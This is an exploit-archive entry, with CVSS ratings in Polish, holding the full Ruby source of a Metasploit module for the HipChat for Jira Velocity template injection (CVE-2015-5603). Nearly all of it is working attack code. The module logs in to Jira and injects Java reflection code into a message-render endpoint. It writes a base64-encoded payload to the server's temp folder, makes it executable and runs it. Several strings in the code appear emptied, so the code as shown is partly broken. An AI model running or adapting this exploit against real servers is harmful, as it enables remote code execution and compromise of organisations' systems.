Atlassian HipChat for Jira Plugin Velocity Template Injection

Credit: sinn3r
Risk: Medium
Local: No
Remote: Yes

Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

## # This module requires Metasploit: # Current source: ## require 'msf/core' require 'json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Atlassian HipChat for Jira Plugin Velocity Template Injection", 'Description' => %q{ Atlassian Hipchat is a web service for internal instant messaging. A plugin is available for Jira that allows team collibration at real time. A message can be used to inject Java code into a Velocity template, and gain code exeuction as Jira. Authentication is required to exploit this vulnerability, and you must make sure the account you're using isn't protected by captcha. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with a vulnerable copy of HipChat. When using the check command, if you supply a valid username and password, the module will be able to trigger the bug and check more accurately. If not, it falls back to passive, which can only tell if the target is running on a Jira version that is bundled with a vulnerable copy of Hipchat by default, which is less reliable. This vulnerability was originally discovered internally by Atlassian. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Wood', # PoC 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2015-5603' ], [ 'EDB', '38551' ], [ 'BID', '76698' ], [ 'URL', '' ] ], 'Targets' => [ [ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], [ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'Privileged' => false, 'DisclosureDate' => 'Oct 28 2015', 'DefaultTarget' => 0 )) register_options( [ # Auth is required, but when we use the check command we allow them to be optional.'JIRAUSER', [false, 'Jira Username', '']),'JIRAPASS', [false, 'Jira Password', '']),'TARGETURI', [true, 'The base to Jira', '/']) ], self.class) end # Returns a cookie in a hash, so you can ask for a specific parameter. # # @return [Hash] def get_cookie_as_hash(cookie) Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten] end # Checks the target by actually triggering the bug. # # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered. # Exploit::CheckCode::Unknown if something failed. # Exploit::CheckCode::Safe for the rest. def do_explicit_check begin cookie = do_login # I don't really care which command to execute, as long as it's a valid one for both platforms. # If the command is valid, it should return {"message"=>"0"}. # If the command is not valid, it should return an empty hash. c = get_exec_code('whoami') res = inject_template(c, cookie) json = res.get_json_document if json['message'] && json['message'] == '0' return Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end # Returns the Jira version # # @return [String] Found Jira version # @return [NilClass] No Jira version found. def get_jira_version version = nil res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') }) unless res vprint_error('Connection timed out while retrieving the Jira version.') return version end metas = res.get_html_meta_elements version_element = { |m| m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number' }.first unless version_element vprint_error('Unable to find the Jira version.') return version end version_element.attributes['content'] ? version_element.attributes['content'].value : nil end # Checks the target by looking at things like the Jira version, or whether the Jira web app # exists or not. # # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns # Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return # Exploit::CheckCode::Detected, because it's possible to have Jira not bundled # with HipChat by default, but installed separately. For other scenarios, we # return Safe. def do_passive_check jira_version = get_jira_version vprint_status("Found Jira version: #{jira_version}") if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end # Checks the vulnerability. Username and password are required to be able to accurately verify # the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should # be more reliable). If not, we will try the passive one (less accurately, but better than # nothing). # # @see #do_explicit_check # @see #do_passive_check # # @return [Array] Check code def check checkcode = Exploit::CheckCode::Safe if jira_cred_empty? vprint_status("No username and password supplied, so we can only do a passive check.") checkcode = do_passive_check else checkcode = do_explicit_check end checkcode end # Returns the Jira username set by the user def jira_username datastore['JIRAUSER'] end # Returns the Jira password set by the user def jira_password datastore['JIRAPASS'] end # Reports username and password to the database. # # @param opts [Hash] # @option opts [String] :user # @option opts [String] :password # # @return [void] def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: }.merge(service_data) create_credential_login(login_data) end # Returns a valid login cookie. # # @return [String] def do_login cookie = '' prerequisites = get_login_prerequisites xsrf = prerequisites['atlassian.xsrf.token'] sid = prerequisites['JSESSIONID'] uri = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}", 'vars_post' => { 'os_username' => jira_username, 'os_password' => jira_password, 'os_captcha' => '' # Not beatable yet } }) unless res fail_with(Failure::Unknown, 'Connection timed out while trying to login') end json = res.get_json_document if json.empty? fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.') end if json['loginSucceeded'] cookie = res.get_cookies elsif !json['loginSucceeded'] && json['captchaFailure'] fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.") elsif !json['loginSucceeded'] fail_with(Failure::NoAccess, 'Incorrect username or password') end report_cred( user: jira_username, password: jira_password ) cookie end # Returns login prerequisites # # @return [Hash] def get_login_prerequisites uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') res = send_request_cgi({ 'uri' => uri }) unless res fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites') end get_cookie_as_hash(res.get_cookies) end # Returns the target platform. # # @param cookie [String] Jira cookie # @return [String] def get_target_platform(cookie) c = get_os_detection_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # Returns Java code that can be used to inject to the template in order to write a file. # # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code, # and then execute the new file instead. # # @param fname [String] File to write to. # @param p [String] Payload # @return [String] def get_write_file_code(fname, p) b64 = Rex::Text.encode_base64(p) %Q| $i18n.getClass().forName('').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) | end # Returns the Java code that gives us the remote Java home path. # # @return [String] def get_java_path_code get_java_property_code('java.home') end # Returns the OS/platform information. # # @return [String] def get_os_detection_code get_java_property_code('') end # Returns the temp path for Java. # # @return [String] def get_temp_path_code get_java_property_code('') end # Returns a system property for Java. # # @param prop [String] Name of the property to retrieve. # @return [String] def get_java_property_code(prop) %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() | end # Returns the Java code to execute a jar file. # # @param java_path [String] Java home path # @param war_path [String] The jar file to execute # @return [String] def get_jar_exec_code(java_path, war_path) # A quick way to check platform instead of actually grabbing in Java system properties. if /^\/[[:print:]]+/ === war_path normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java') cmd_str = %Q|#{normalized_java_path} -jar #{war_path}| else normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe') war_path.gsub!(/Program Files/, 'PROGRA~1') cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"| end %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() | end # Returns Java code that can be used to inject to the template in order to execute a file. # # @param cmd [String] command to execute # @return [String] def get_exec_code(cmd) %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() | end # Returns Java code that can be used to inject to the template in order to chmod a file. # # @param fname [String] File to chmod # @return [String] def get_chmod_code(fname) get_exec_code("chmod 777 #{fname}") end # Returns Java code that can be used to inject to the template in order to copy a file. # # @note The purpose of this method is to have a file that is not busy, so we can execute it. # It is meant to be used with #get_write_file_code. # # @param fname [String] The file to copy # @param new_fname [String] The new file # @return [String] def get_dup_file_code(fname, new_fname) if fname =~ /^\/[[:print:]]+/ cp_cmd = "cp #{fname} #{new_fname}" else cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}" end get_exec_code(cp_cmd) end # Returns a boolean indicating whether the module has a username and password. # # @return [TrueClass] There is an empty cred. # @return [FalseClass] No empty cred. def jira_cred_empty? jira_username.blank? || jira_password.blank? end # Injects Java code to the template. # # @param p [String] Code that is being injected. # @param cookie [String] A cookie that contains a valid JSESSIONID # @return [void] def inject_template(p, cookie) login_sid = get_cookie_as_hash(cookie)['JSESSIONID'] uri = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render') uri << '/' res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "JSESSIONID=#{login_sid}", 'ctype' => 'application/json', 'data' => { 'message' => p }.to_json }) if !res # This seems to trigger every time even though we're getting a shell. So let's downplay # this a little bit. At least it's logged to allow the user to debug. elog('Connection timed out in #inject_template') elsif res && /Error report/ === res.body print_error('Failed to inject and execute code:') vprint_line(res.body) elsif res vprint_status("Server response:") vprint_line res.body end res end # Checks if the target os/platform is compatible with the module target or not. # # @return [TrueClass] Compatible # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| if /^java$/i === n || /#{n}/i === target_platform return true end end false end # Returns the normalized file path for payload. # # @return [String] def normalize_payload_fname(tmp_path, fname) # A quick way to check platform insteaf of actually grabbing in Java system properties. if /^\/[[:print:]]+/ === tmp_path Rex::FileUtils.normalize_unix_path(tmp_path, fname) else Rex::FileUtils.normalize_win_path(tmp_path, fname) end end # Returns a temp path from the remote target. # # @param cookie [String] Jira cookie # @return [String] def get_tmp_path(cookie) c = get_temp_path_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # Returns the Java home path used by Jira. # # @param cookie [String] Jira cookie. # @return [String] def get_java_home_path(cookie) c = get_java_path_code res = inject_template(c, cookie) json = res.get_json_document json['message'] || '' end # Exploits the target in Java platform. # # @return [void] def exploit_as_java(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") jar = payload.encoded_jar java_home = get_java_home_path(cookie) register_files_for_cleanup(jar_fname) if java_home.blank? fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') else print_status("Found Java home path: #{java_home}") end print_status("Attempting to write #{jar_fname}") c = get_write_file_code(jar_fname, jar) inject_template(c, cookie) print_status("Executing #{jar_fname}") c = get_jar_exec_code(java_home, jar_fname) inject_template(c, cookie) end # Exploits the target in Windows platform. # # @return [void] def exploit_as_windows(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end exe = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) exe_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") exe_fname.gsub!(/Program Files/, 'PROGRA~1') exe_new_fname.gsub!(/Program Files/, 'PROGRA~1') register_files_for_cleanup(exe_fname, exe_new_fname) print_status("Attempting to write #{exe_fname}") c = get_write_file_code(exe_fname, exe) inject_template(c, cookie) print_status("New file will be #{exe_new_fname}") c = get_dup_file_code(exe_fname, exe_new_fname) inject_template(c, cookie) print_status("Executing #{exe_new_fname}") c = get_exec_code(exe_new_fname) inject_template(c, cookie) end # Exploits the target in Linux platform. # # @return [void] def exploit_as_linux(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) register_files_for_cleanup(fname, new_fname) print_status("Attempting to write #{fname}") p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) c = get_write_file_code(fname, p) inject_template(c, cookie) print_status("chmod +x #{fname}") c = get_exec_code("chmod 777 #{fname}") inject_template(c, cookie) print_status("New file will be #{new_fname}") c = get_dup_file_code(fname, new_fname) inject_template(c, cookie) print_status("Executing #{new_fname}") c = get_exec_code(new_fname) inject_template(c, cookie) end def exploit if jira_cred_empty? fail_with(Failure::BadConfig, 'Jira username and password are required.') end print_status("Attempting to login as #{jira_username}:#{jira_password}") cookie = do_login print_good("Successfully logged in as #{jira_username}") target_platform = get_target_platform(cookie) print_status("Target being detected as: #{target_platform}") unless target_platform_compat?(target_platform) fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') end case when /java$/i exploit_as_java(cookie) when /windows$/i exploit_as_windows(cookie) when /linux$/i exploit_as_linux(cookie) end end def print_status(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end end

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